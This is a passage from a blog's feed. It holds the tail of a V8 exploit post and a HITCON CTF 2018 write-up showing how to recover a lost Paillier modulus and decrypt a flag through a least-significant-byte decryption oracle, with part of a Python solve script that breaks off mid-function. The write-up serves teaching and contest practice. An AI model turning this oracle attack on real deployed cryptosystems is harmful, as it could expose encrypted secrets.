&lt;p&gt;Massive thanks to &lt;a href=&quot;https://twitter.com/riczho&quot;&gt;Ricky&lt;/a&gt; who gave massive
moral support and kept throwing in ideas when I was about to give up,
after I&amp;#39;d been facing those stack issues. Also, mad props to
&lt;a href=&quot;https://twitter.com/_tsuro/&quot;&gt;Stephen&lt;/a&gt; for finding this bug, and
having this as a challenge in 35c3. Thanks to
&lt;a href=&quot;https://twitter.com/zaratec4&quot;&gt;Carolina&lt;/a&gt; for reviewing this writeup
and providing some super helpful suggestions.&lt;/p&gt;

&lt;h2&gt;More on V8 exploitation&lt;/h2&gt;

&lt;p&gt;Coming soon: a writeup on a 0-day that I found in v8. Follow me on
&lt;a href=&quot;https://www.twitter.com/jay_f0xtr0t&quot;&gt;Twitter&lt;/a&gt; to know when I release
a new blog post, and more. Or alternatively, &lt;a href=&quot;/blog/atom.xml&quot;&gt;RSS&lt;/a&gt;!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>HITCON CTF 2018 - Lost Modulus</title>
   <link href="https://www.jaybosamiya.com/blog/2018/10/24/lost-modulus/"/>
   <updated>2018-10-24T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2018/10/24/lost-modulus</id>
   <content type="html">&lt;p&gt;Last weekend was HITCON CTF 2018, and it was really awesome! I
personally spent time on various super interesting challenges. Below
is just one of them that I happened to solve on the first day. I found
to be particularly interesting to solve since I never have had a
chance to dive into any homomorphic encryption systems before.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I lost my modulus. Can you find it for me?&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;nc 13.112.92.9 21701
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;./crypto-33dee9470e5b5639777f7c50e4c650e3.py&quot;&gt;crypto-33dee9470e5b5639777f7c50e4c650e3.py&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Simply because the attack has an almost movie-like decryption, here&amp;#39;s
a gif demo of my script before I start explaining things:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;./solve-demo.gif&quot; alt=&quot;gif of execution against local copy of server&quot;&gt;&lt;/p&gt;

&lt;p&gt;The server script seems to implement the &lt;a href=&quot;https://en.wikipedia.org/wiki/Paillier_cryptosystem&quot;&gt;Paillier
Cryptosystem&lt;/a&gt;,
and exposes the ability to perform some queries.&lt;/p&gt;

&lt;p&gt;The server first gets two 512-bit primes &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt;, and then
proceeds to perform standard key-generation to compute required
intermediates for encryption and decryption. One thing to note here is
that since &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; are of equivalent length, the simpler variant
for key generation is used, but otherwise it seems to be standard.&lt;/p&gt;

&lt;p&gt;Once that is done, it encrypts the flag and sends it to us, and then
exposes the ability to perform a maximum of 2048 queries. These
queries can be one of two kinds &lt;code&gt;A&lt;/code&gt; or &lt;code&gt;B&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;A&lt;/code&gt;: Encrypt arbitrary input&lt;/li&gt;
&lt;li&gt;&lt;code&gt;B&lt;/code&gt;: Decrypt arbitrary input, but only receive the least significant
    &lt;em&gt;byte&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Upon reading the Wikipedia page for this cryptosystem, we realize that
it is additive-homomorphic. This means that we can produce the
encryption of any linear combination of messages, if we have the
encrypted messages themselves. In particular &lt;code&gt;D(E(m1) * E(m2)) == m1 +
m2&lt;/code&gt;. This turns out to be extremely useful in solving this challenge.&lt;/p&gt;

&lt;p&gt;Since we have the encrypted flag (which we&amp;#39;ll call &lt;code&gt;flag_enc&lt;/code&gt;), and we
have a lsB (least significant &lt;em&gt;byte&lt;/em&gt;) decryption oracle (query &lt;code&gt;B&lt;/code&gt;),
we can easily obtain the least significant byte of the flag. If we
know &lt;code&gt;modinv(256, n * n)&lt;/code&gt;, we can repeatedly subtract out the least
significant byte (since Paillier is additive-homomorphic), and then
multiply by this value (which effectively divides it by 256), and then
perform query &lt;code&gt;B&lt;/code&gt; to obtain the entire flag.&lt;/p&gt;

&lt;p&gt;However, we are not provided &lt;code&gt;n&lt;/code&gt; by the server, hence the name of the
challenge &amp;quot;Lost Modulus&amp;quot;, we presume.&lt;/p&gt;

&lt;p&gt;To find &lt;code&gt;n&lt;/code&gt;, we considered a bunch of different approaches, two of
which were msb (most significant bit) based leak, and binary
search. We were unable to get the msb approach working, so we decided
upon the binary search.&lt;/p&gt;

&lt;p&gt;The binary search technique required usage of the fact that if we
encrypted a value (say &lt;code&gt;x&lt;/code&gt;) that was larger than or equal to &lt;code&gt;n&lt;/code&gt;, and
then decrypted it, then the least significant byte would not match up
with &lt;code&gt;x&lt;/code&gt;&amp;#39;s least significant byte. However, if &lt;code&gt;x&lt;/code&gt; was smaller than
&lt;code&gt;n&lt;/code&gt;, then it would match up. Notice that we require 2 operations for
each query for the binary search here (&lt;code&gt;A&lt;/code&gt; to encrypt, and &lt;code&gt;B&lt;/code&gt; to get
the lsB). Since &lt;code&gt;n&lt;/code&gt; is 1024 bits long (as both &lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; are 512
bytes each, and &lt;code&gt;n = p * q&lt;/code&gt;), this would take 2048 queries.&lt;/p&gt;

&lt;p&gt;And this is where we hit upon the query limitation. Within the number
of queries that it would require to get &lt;code&gt;n&lt;/code&gt;, we would no longer have
any queries left to get the flag. Recall that &lt;code&gt;n&lt;/code&gt; changes on each
connection.&lt;/p&gt;

&lt;p&gt;Recall that to get one byte of the flag, we require two operations
(one to find out what value to subtract, and another to perform the
decoding after the multiply). This meant that every 2 operations that
we could shave off of the 2048 required for the binary search would
give us 1 more byte of the flag.&lt;/p&gt;

&lt;p&gt;The first 2 operations are easy to shave off: &lt;code&gt;n&lt;/code&gt; &lt;em&gt;must&lt;/em&gt; be odd (since
&lt;code&gt;p&lt;/code&gt; and &lt;code&gt;q&lt;/code&gt; are odd, as they are large primes), which means that the
lsb of &lt;code&gt;n&lt;/code&gt; must be a 1. At this moment, we decided to write up a
script to perform the attack.&lt;/p&gt;

&lt;p&gt;Unfortunately, it took approximately half an hour (due to round trip
times) to perform all the queries required to get &lt;code&gt;n&lt;/code&gt;, which only
revealed one byte of the flag. We &lt;em&gt;could possibly&lt;/em&gt; parallelize this,
except we need to know the &amp;quot;previous&amp;quot; byte of the flag to calculate
the &amp;quot;current&amp;quot; byte, so it must happen one after another. We &lt;em&gt;could
possibly&lt;/em&gt; get around this issue, by calculating many &lt;code&gt;n&lt;/code&gt;s together,
while keeping open connections, waiting for previous bytes of the flag
to be flushed, and then use them, however the server allowed only 4
concurrent connections. Due to the size of &lt;code&gt;n&lt;/code&gt;, we knew that the flag
could be upto 128 bytes, which meant even this was infeasible, so we
decided to try to improve the query performance further.&lt;/p&gt;

&lt;p&gt;We then started thinking about how we might do the binary search
differently. Recall that Paillier is additive-homomorphic, which means
if we pre-compute a table of encrypted values (using type &lt;code&gt;A&lt;/code&gt;
queries), and if some value we want to encrypt is a linear combination
of these, then we can simply obtain it directly. This saves us on &lt;code&gt;A&lt;/code&gt;
type of queries. A good set of values to pre-fetch are powers of two,
since we can simply look at the binary encoding of a number, except
there are 1024 powers of 2, which are potentially smaller than &lt;code&gt;n&lt;/code&gt;,
which doesn&amp;#39;t give us any savings.&lt;/p&gt;

&lt;p&gt;However, we realize that we can simply pre-fetch (using type &lt;code&gt;A&lt;/code&gt;
queries) only some subset of them, using the fact that &lt;code&gt;2^(n+1) ==
2^n&lt;/code&gt;, which can give us the rest of the values. We thus settled upon
pre-fetching for &lt;code&gt;2^0&lt;/code&gt;, &lt;code&gt;2^2&lt;/code&gt;, &lt;code&gt;2^4&lt;/code&gt;, ... (which is a total of 512
queries). Notice that this save us 512 queries, which is more than
sufficient to obtain the flag in a single connection.&lt;/p&gt;

&lt;p&gt;When we implement this however, we faced an issue (which in hindsight
should&amp;#39;ve been a non-issue, since we should&amp;#39;ve taken everything modulo
&lt;code&gt;n^2&lt;/code&gt;) but it took a long time to actually perform all the multiplies
needed to get the encrypted form of a number with lots of &lt;code&gt;1&lt;/code&gt;s in its
binary representation, in terms of CPU time. Recall that to add &lt;code&gt;m1&lt;/code&gt;
and &lt;code&gt;m2&lt;/code&gt;, in the encrypted world we need to multiply them. Thus, we
decided to add in memoization, with a randomized fetching via a type
&lt;code&gt;A&lt;/code&gt; query, for about 10% of the numbers that we wanted to
encrypt. Overall, this meant that although we were making more
queries, we would be able to get values much faster.&lt;/p&gt;

&lt;p&gt;Overall, our &lt;a href=&quot;./lost_modulus_solve.py&quot;&gt;script&lt;/a&gt; finds the flag in
approximately 1700~1800 queries.&lt;/p&gt;

&lt;h2&gt;Explanation of Script&lt;/h2&gt;

&lt;h3&gt;Query Setup&lt;/h3&gt;

&lt;p&gt;This part simply imports all important libraries, and sets up two
extremely useful helper functions &lt;code&gt;cmdA&lt;/code&gt; and &lt;code&gt;cmdB&lt;/code&gt; that can be used
to quickly perform queries. It also sets up a global running counter
of number of queries used (which during the CTF, we called &amp;quot;commands
run&amp;quot;). This made it easy for us to diagnose how things are going while
it is running.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Crypto.Util.number&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;gmpy&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getenv&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;random&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;commands_run&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;commands_run_prog&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;progress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Commands run&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;commands_run&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;commands_run&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;commands_run_prog&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;commands_run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvuntil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;cmd: &amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvuntil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;input: &amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;long_to_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_to_long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Stage 0&lt;/h3&gt;

&lt;p&gt;Here, we set up the connection to the server, and get the encrypted
flag &lt;code&gt;flag_enc&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;stage0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag_enc&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;LOCAL&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;quot;TRUE&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;13.112.92.9&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;21701&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&amp;#39;./crypto-33dee9470e5b5639777f7c50e4c650e3.py&amp;#39;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;flag_enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;flag_enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_to_long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag_enc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Stage 0: Complete&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Stage 1&lt;/h3&gt;

&lt;p&gt;Now, we have to prime up the encode function by pre-fetching the
requisite data. We additionally set up a separate &lt;code&gt;encode&lt;/code&gt; function
which uses the pre-fetched memo, in order to reduce the number of
queries required. It also performs &lt;code&gt;cmdA&lt;/code&gt; with 10% probability, to
speed up encryptions as mentioned above.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;n&quot;&gt;memo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;stage1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memo&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;prog&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;progress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Stage 1&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;xrange&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;prog&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmdA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;prev&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prev&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prev&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;memo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;prog&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;Complete&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;global&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memo&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;memo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmdA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;inp_copy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;sorted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())[::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
